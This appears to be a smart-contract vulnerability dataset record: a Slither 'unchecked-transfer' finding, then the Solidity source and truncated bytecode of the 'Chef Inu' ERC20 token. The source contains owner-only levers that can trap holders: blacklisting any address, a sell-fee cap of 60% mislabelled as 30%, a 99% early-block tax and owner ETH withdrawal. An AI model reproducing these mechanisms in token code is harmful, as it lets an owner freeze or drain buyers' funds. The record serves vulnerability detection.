4600160a060020a031633146103ad57600080fd5b60005460a060020a900460ff1615156103c557600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60055481565b60085481565b600254600160a060020a031681565b60005460a060020a900460ff1681565b60065481565b600054600160a060020a0316331461045457600080fd5b60005460a060020a900460ff161561046b57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b60008054600160a060020a031633146104d057600080fd5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561053657600080fd5b505af115801561054a573d6000803e3d6000fd5b505050506040513d602081101561056057600080fd5b505160015460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156105d757600080fd5b505af11580156105eb573d6000803e3d6000fd5b505050506040513d602081101561037657600080fd5b600054600160a060020a031681565b60075481565b600054600160a060020a0316331461062d57600080fd5b42600781905560095401600855565b600054600160a060020a0316331461065357600080fd5b600160a060020a038116151561066857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6007546000906106e9906202a30063ffffffff6108d916565b4211610711576004805461070a91905b60045491900463ffffffff6108d916565b905061038d565b600754610727906202a30063ffffffff6108d916565b4211801561074a5750600754610746906205460063ffffffff6108d916565b4211155b1561075e5760045461070a906005906106f9565b600754610774906205460063ffffffff6108d916565b421180156107975750600754610793906207e90063ffffffff6108d916565b4211155b156107ae5760045461070a906014906003026106f9565b6007546107c4906207e90063ffffffff6108d916565b421180156107e757506007546107e390620a8c0063ffffffff6108d916565b4211155b156107fb5760045461070a90600a906106f9565b60075461081190620a8c0063ffffffff6108d916565b42118015610834575060075461083090620d2f0063ffffffff6108d916565b4211155b1561038d5760045461070a906014906106f9565b600154600160a060020a031681565b60005460a060020a900460ff161561086e57600080fd5b600160a060020a038216151561088357600080fd5b60065481101561089257600080fd5b60075442101580156108a657506008544211155b15156108b157600080fd5b5050565b6000806108c06106d0565b90506108d2818463ffffffff61093916565b9392505050565b6000828201838110156108e857fe5b8091505b5092915050565b6108b18282610964565b600254604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610936573d6000803e3d6000fd5b50565b60008083151561094c57600091506108ec565b5082820282848281151561095c57fe5b04146108e857fe5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156109d357600080fd5b505af11580156109e7573d6000803e3d6000fd5b505050506040513d60208110156109fd57600080fd5b505050505600a165627a7a72305820d40866bfdeb3e4b75a48dbddfacaacabbc43896d1633323abc91817d8e595f420029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 1,684 |
0x5e7e22632218a3083f27e1526eb020e4d319dc95
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ChefInu is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cooldown;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
string private constant _name = "Chef Inu";
string private constant _symbol = "CHEF";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1e12 * (10**_decimals);
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private tradingActiveBlock = 0;
uint256 private blocksToBlacklist = 0;
uint256 private _buyProjectFee = 0;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 0;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyCharityFee = 0;
uint256 private _previousBuyCharityFee = _buyCharityFee;
uint256 private _buyDevelopmentFee = 0;
uint256 private _previousBuyDevelopmentFee = _buyDevelopmentFee;
uint256 private _sellProjectFee = 15;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 12;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellCharityFee = 3;
uint256 private _previousSellCharityFee = _sellCharityFee;
uint256 private _sellDevelopmentFee = 3;
uint256 private _previousSellDevelopmentFee = _sellDevelopmentFee;
uint256 private tokensForCharity;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
uint256 private tokensForDevelopment;
uint256 private swapTokensAtAmount = 0;
address payable private _projectWallet;
address payable private _liquidityWallet;
address payable private _developmentWallet;
address private uniswapV2Pair;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address projectWallet, address liquidityWallet, address developmentWallet) {
_projectWallet = payable(projectWallet);
_liquidityWallet = payable(liquidityWallet);
_developmentWallet = payable(developmentWallet);
_rOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_projectWallet] = true;
_isExcludedFromFee[_liquidityWallet] = true;
_isExcludedFromFee[_developmentWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _rOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setSwapEnabled(bool onoff) external onlyOwner(){
swapEnabled = onoff;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
require(!bots[from] && !bots[to]);
if (cooldownEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(cooldown[tx.origin] < block.number - 1 && cooldown[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
cooldown[tx.origin] = block.number;
cooldown[to] = block.number;
}
}
takeFee = true;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyAmount, "Transfer amount exceeds the maxBuyAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from]) {
require(amount <= _maxSellAmount, "Transfer amount exceeds the maxSellAmount.");
shouldSwap = true;
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = (contractTokenBalance > swapTokensAtAmount) && shouldSwap;
if (canSwap && swapEnabled && !swapping && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapping = true;
swapBack();
swapping = false;
}
_tokenTransfer(from,to,amount,takeFee, shouldSwap);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForCharity + tokensForProject + tokensForDevelopment;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 10) {
contractBalance = swapTokensAtAmount * 10;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForReward = ethBalance.mul(tokensForCharity).div(totalTokensToSwap);
uint256 ethForProject = ethBalance.mul(tokensForProject).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForReward - ethForProject - ethForDevelopment;
tokensForLiquidity = 0;
tokensForCharity = 0;
tokensForProject = 0;
tokensForDevelopment = 0;
(success,) = address(_developmentWallet).call{value: ethForDevelopment}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(_projectWallet).call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_liquidityWallet,
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_projectWallet.transfer(amount.div(2));
_developmentWallet.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxBuyAmount = 5e9 * (10**_decimals);
_maxSellAmount = 3e9 * (10**_decimals);
_maxWalletAmount = 2e10 * (10**_decimals);
swapTokensAtAmount = 3e8 * (10**_decimals);
tradingOpen = true;
tradingActiveBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
require(maxBuy >= 1e8 * (10**_decimals), "Max buy amount cannot be lower than 0.01% total supply.");
_maxBuyAmount = maxBuy;
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
require(maxSell >= 1e8 * (10**_decimals), "Max sell amount cannot be lower than 0.01% total supply.");
_maxSellAmount = maxSell;
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
require(maxToken >= 1e9 * (10**_decimals), "Max wallet amount cannot be lower than 0.1% total supply.");
_maxWalletAmount = maxToken;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
require(newAmount >= 1e8 * (10**_decimals), "Swap amount cannot be lower than 0.01% total supply.");
require(newAmount <= 5e9 * (10**_decimals), "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
}
function setProjectWallet(address projectWallet) public onlyOwner() {
require(projectWallet != address(0), "projectWallet address cannot be 0");
_isExcludedFromFee[_projectWallet] = false;
_projectWallet = payable(projectWallet);
_isExcludedFromFee[_projectWallet] = true;
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
require(liquidityWallet != address(0), "liquidityWallet address cannot be 0");
_isExcludedFromFee[_liquidityWallet] = false;
_liquidityWallet = payable(liquidityWallet);
_isExcludedFromFee[_liquidityWallet] = true;
}
function setExcludedFromFees(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = exempt;
}
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
bots[accounts[i]] = exempt;
}
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyRewardFee, uint256 buyDevelopmentFee) external onlyOwner {
require(buyProjectFee + buyLiquidityFee + buyRewardFee + buyDevelopmentFee <= 30, "Must keep buy taxes below 30%");
_buyProjectFee = buyProjectFee;
_buyLiquidityFee = buyLiquidityFee;
_buyCharityFee = buyRewardFee;
_buyDevelopmentFee = buyDevelopmentFee;
_previousBuyProjectFee = _buyProjectFee;
_previousBuyLiquidityFee = _buyLiquidityFee;
_previousBuyCharityFee = _buyCharityFee;
_previousBuyDevelopmentFee = _buyDevelopmentFee;
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellRewardFee, uint256 sellDevelopmentFee) external onlyOwner {
require(sellProjectFee + sellLiquidityFee + sellRewardFee + sellDevelopmentFee <= 60, "Must keep sell taxes below 30%");
_sellProjectFee = sellProjectFee;
_sellLiquidityFee = sellLiquidityFee;
_sellCharityFee = sellRewardFee;
_sellDevelopmentFee = sellDevelopmentFee;
_previousSellProjectFee = _sellProjectFee;
_previousSellLiquidityFee = _sellLiquidityFee;
_previousSellCharityFee = _sellCharityFee;
_previousSellDevelopmentFee = _sellDevelopmentFee;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
blocksToBlacklist = blocks;
}
function removeAllFee() private {
if(_buyProjectFee == 0 && _buyLiquidityFee == 0 && _buyCharityFee == 0 && _buyDevelopmentFee == 0 && _sellProjectFee == 0 && _sellLiquidityFee == 0 && _sellCharityFee == 0 && _sellDevelopmentFee == 0) return;
_previousBuyProjectFee = _buyProjectFee;
_previousBuyLiquidityFee = _buyLiquidityFee;
_previousBuyCharityFee = _buyCharityFee;
_previousBuyDevelopmentFee = _buyDevelopmentFee;
_previousSellProjectFee = _sellProjectFee;
_previousSellLiquidityFee = _sellLiquidityFee;
_previousSellCharityFee = _sellCharityFee;
_previousSellDevelopmentFee = _sellDevelopmentFee;
_buyProjectFee = 0;
_buyLiquidityFee = 0;
_buyCharityFee = 0;
_buyDevelopmentFee = 0;
_sellProjectFee = 0;
_sellLiquidityFee = 0;
_sellCharityFee = 0;
_sellDevelopmentFee = 0;
}
function restoreAllFee() private {
_buyProjectFee = _previousBuyProjectFee;
_buyLiquidityFee = _previousBuyLiquidityFee;
_buyCharityFee = _previousBuyCharityFee;
_buyDevelopmentFee = _previousBuyDevelopmentFee;
_sellProjectFee = _previousSellProjectFee;
_sellLiquidityFee = _previousSellLiquidityFee;
_sellCharityFee = _previousSellCharityFee;
_sellDevelopmentFee = _previousSellDevelopmentFee;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
if(!takeFee) {
removeAllFee();
} else {
amount = _takeFees(sender, amount, isSell);
}
_transferStandard(sender, recipient, amount);
if(!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
_rOwned[sender] = _rOwned[sender].sub(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
uint256 _totalFees;
uint256 pjctFee;
uint256 liqFee;
uint256 chrtyFee;
uint256 devFee;
if(tradingActiveBlock + blocksToBlacklist >= block.number){
_totalFees = 99;
pjctFee = 25;
liqFee = 25;
chrtyFee = 24;
devFee = 25;
} else {
_totalFees = _getTotalFees(isSell);
if (isSell) {
pjctFee = _sellProjectFee;
liqFee = _sellLiquidityFee;
chrtyFee = _sellCharityFee;
devFee = _sellDevelopmentFee;
} else {
pjctFee = _buyProjectFee;
liqFee = _buyLiquidityFee;
chrtyFee = _buyCharityFee;
devFee = _buyDevelopmentFee;
}
}
uint256 fees = amount.mul(_totalFees).div(100);
tokensForCharity += fees * chrtyFee / _totalFees;
tokensForProject += fees * pjctFee / _totalFees;
tokensForLiquidity += fees * liqFee / _totalFees;
tokensForDevelopment += fees * devFee / _totalFees;
if(fees > 0) {
_transferStandard(sender, address(this), fees);
}
return amount -= fees;
}
receive() external payable {}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function _getTotalFees(bool isSell) private view returns(uint256) {
if (isSell) {
return _sellProjectFee + _sellLiquidityFee + _sellCharityFee + _sellDevelopmentFee;
}
return _buyProjectFee + _buyLiquidityFee + _buyCharityFee + _buyDevelopmentFee;
}
}
|
0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063dd62ed3e1161008a578063e6f7ef4d11610064578063e6f7ef4d14610520578063e99c9d0914610540578063f34eb0b814610560578063f5648a4f1461058057600080fd5b8063dd62ed3e1461049a578063e01af92c146104e0578063e653da081461050057600080fd5b8063a9059cbb116100c6578063a9059cbb14610430578063afa4f3b214610450578063c3c8cd8014610470578063c9567bf91461048557600080fd5b80638da5cb5b146103bb57806395d89b41146103e35780639c0db5f31461041057600080fd5b8063313ce5671161015957806370a082311161013357806370a0823114610330578063715018a6146103665780638a7804471461037b5780638c5a133d1461039b57600080fd5b8063313ce567146102df5780635932ead1146102fb5780636fc3eaec1461031b57600080fd5b806318160ddd1161019557806318160ddd1461025c57806323b872dd1461027f57806327a14fc21461029f578063296f0a0c146102bf57600080fd5b806306fdde03146101c7578063095ea7b31461020a578063105222f91461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506040805180820190915260088152674368656620496e7560c01b60208201525b60405161020191906125e2565b60405180910390f35b34801561021657600080fd5b5061022a61022536600461265c565b610595565b6040519015158152602001610201565b34801561024657600080fd5b5061025a6102553660046126b7565b6105ac565b005b34801561026857600080fd5b5061027161064b565b604051908152602001610201565b34801561028b57600080fd5b5061022a61029a36600461278e565b61066d565b3480156102ab57600080fd5b5061025a6102ba3660046127cf565b6106d6565b3480156102cb57600080fd5b5061025a6102da3660046127e8565b610794565b3480156102eb57600080fd5b5060405160098152602001610201565b34801561030757600080fd5b5061025a610316366004612805565b610870565b34801561032757600080fd5b5061025a6108ba565b34801561033c57600080fd5b5061027161034b3660046127e8565b6001600160a01b031660009081526004602052604090205490565b34801561037257600080fd5b5061025a6108f1565b34801561038757600080fd5b5061025a6103963660046127e8565b610965565b3480156103a757600080fd5b5061025a6103b6366004612822565b610a3f565b3480156103c757600080fd5b506000546040516001600160a01b039091168152602001610201565b3480156103ef57600080fd5b5060408051808201909152600481526321a422a360e11b60208201526101f4565b34801561041c57600080fd5b5061025a61042b3660046126b7565b610b01565b34801561043c57600080fd5b5061022a61044b36600461265c565b610b92565b34801561045c57600080fd5b5061025a61046b3660046127cf565b610b9f565b34801561047c57600080fd5b5061025a610cdb565b34801561049157600080fd5b5061025a610d1e565b3480156104a657600080fd5b506102716104b5366004612854565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104ec57600080fd5b5061025a6104fb366004612805565b61110a565b34801561050c57600080fd5b5061025a61051b366004612822565b611152565b34801561052c57600080fd5b5061025a61053b3660046127cf565b611214565b34801561054c57600080fd5b5061025a61055b3660046127cf565b611243565b34801561056c57600080fd5b5061025a61057b3660046127cf565b611301565b34801561058c57600080fd5b5061025a6113bf565b60006105a2338484611436565b5060015b92915050565b6000546001600160a01b031633146105df5760405162461bcd60e51b81526004016105d69061288d565b60405180910390fd5b60005b8251811015610646578160066000858481518110610602576106026128c2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063e816128ee565b9150506105e2565b505050565b60006106596009600a6129ed565b6106689064e8d4a510006129fc565b905090565b600061067a84848461155b565b6106cc84336106c785604051806060016040528060288152602001612b81602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611b93565b611436565b5060019392505050565b6000546001600160a01b031633146107005760405162461bcd60e51b81526004016105d69061288d565b61070c6009600a6129ed565b61071a90633b9aca006129fc565b81101561078f5760405162461bcd60e51b815260206004820152603960248201527f4d61782077616c6c657420616d6f756e742063616e6e6f74206265206c6f776560448201527f72207468616e20302e312520746f74616c20737570706c792e0000000000000060648201526084016105d6565b600b55565b6000546001600160a01b031633146107be5760405162461bcd60e51b81526004016105d69061288d565b6001600160a01b0381166108205760405162461bcd60e51b815260206004820152602360248201527f6c697175696469747957616c6c657420616464726573732063616e6e6f74206260448201526206520360ec1b60648201526084016105d6565b602480546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b81526004016105d69061288d565b600880549115156401000000000264ff0000000019909216919091179055565b6000546001600160a01b031633146108e45760405162461bcd60e51b81526004016105d69061288d565b476108ee81611bcd565b50565b6000546001600160a01b0316331461091b5760405162461bcd60e51b81526004016105d69061288d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016105d69061288d565b6001600160a01b0381166109ef5760405162461bcd60e51b815260206004820152602160248201527f70726f6a65637457616c6c657420616464726573732063616e6e6f74206265206044820152600360fc1b60648201526084016105d6565b602380546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105d69061288d565b601e8183610a778688612a1b565b610a819190612a1b565b610a8b9190612a1b565b1115610ad95760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772033302500000060448201526064016105d6565b600e849055601083905560128290556014819055600f93909355601191909155601355601555565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b81526004016105d69061288d565b60005b8251811015610646578160076000858481518110610b4e57610b4e6128c2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b8a816128ee565b915050610b2e565b60006105a233848461155b565b6000546001600160a01b03163314610bc95760405162461bcd60e51b81526004016105d69061288d565b610bd56009600a6129ed565b610be3906305f5e1006129fc565b811015610c4f5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e604482015273101817181892903a37ba30b61039bab838363c9760611b60648201526084016105d6565b610c5b6009600a6129ed565b610c6a9064012a05f2006129fc565b811115610cd65760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b60648201526084016105d6565b602255565b6000546001600160a01b03163314610d055760405162461bcd60e51b81526004016105d69061288d565b306000908152600460205260409020546108ee81611c52565b6000546001600160a01b03163314610d485760405162461bcd60e51b81526004016105d69061288d565b60085460ff1615610d9b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d6565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610de43082610dd56009600a6129ed565b6106c79064e8d4a510006129fc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190612a33565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190612a33565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f289190612a33565b602680546001600160a01b039283166001600160a01b03199091161790556002541663f305d7194730610f70816001600160a01b031660009081526004602052604090205490565b600080610f856000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610fa796959493929190612a50565b60606040518083038185885af1158015610fc5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fea9190612a8b565b50506008805464ffff00000019166401010000001790555061100e6009600a6129ed565b61101d9064012a05f2006129fc565b600990815561102d90600a6129ed565b61103b9063b2d05e006129fc565b600a90815561104c906009906129ed565b61105b906404a817c8006129fc565b600b5561106a6009600a6129ed565b611078906311e1a3006129fc565b6022556008805460ff1916600117905543600c5560265460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612ab9565b5050565b6000546001600160a01b031633146111345760405162461bcd60e51b81526004016105d69061288d565b6008805491151563010000000263ff00000019909216919091179055565b6000546001600160a01b0316331461117c5760405162461bcd60e51b81526004016105d69061288d565b603c818361118a8688612a1b565b6111949190612a1b565b61119e9190612a1b565b11156111ec5760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f7720333025000060448201526064016105d6565b60168490556018839055601a829055601c819055601793909355601991909155601b55601d55565b6000546001600160a01b0316331461123e5760405162461bcd60e51b81526004016105d69061288d565b600d55565b6000546001600160a01b0316331461126d5760405162461bcd60e51b81526004016105d69061288d565b6112796009600a6129ed565b611287906305f5e1006129fc565b8110156112fc5760405162461bcd60e51b815260206004820152603860248201527f4d61782073656c6c20616d6f756e742063616e6e6f74206265206c6f7765722060448201527f7468616e20302e30312520746f74616c20737570706c792e000000000000000060648201526084016105d6565b600a55565b6000546001600160a01b0316331461132b5760405162461bcd60e51b81526004016105d69061288d565b6113376009600a6129ed565b611345906305f5e1006129fc565b8110156113ba5760405162461bcd60e51b815260206004820152603760248201527f4d61782062757920616d6f756e742063616e6e6f74206265206c6f776572207460448201527f68616e20302e30312520746f74616c20737570706c792e00000000000000000060648201526084016105d6565b600955565b6000546001600160a01b031633146113e95760405162461bcd60e51b81526004016105d69061288d565b604051600090339047908381818185875af1925050503d806000811461142b576040519150601f19603f3d011682016040523d82523d6000602084013e611430565b606091505b50505050565b6001600160a01b0383166114985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d6565b6001600160a01b0382166114f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac